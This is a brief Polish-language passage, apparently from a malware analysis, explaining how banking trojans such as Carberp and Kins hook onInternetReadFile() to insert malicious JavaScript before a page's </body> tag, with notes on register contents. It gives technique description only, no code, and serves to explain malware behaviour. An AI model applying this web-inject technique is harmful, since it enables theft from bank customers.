Analogiczny mechanizm wstrzykiwania jest wykorzystywany w innych „trojanach bankowych”. Dla przykładu Carberp i Kins za pomocą podmienionej funkcji onInternetReadFile() wywoływały funkcję HttpGrabber::_executeInjects().


W efekcie po identyfikacji odpowiedniego miejsca (w poniższym przypadku </body>) doklejany był złośliwy kod (w poniższym przypadku skrypt js). Rejestr EAX zawiera doklejanie dane. EDX zawiera oryginalną (jeszcze nie zmodyfikowaną) zawartość strony.


Źródła: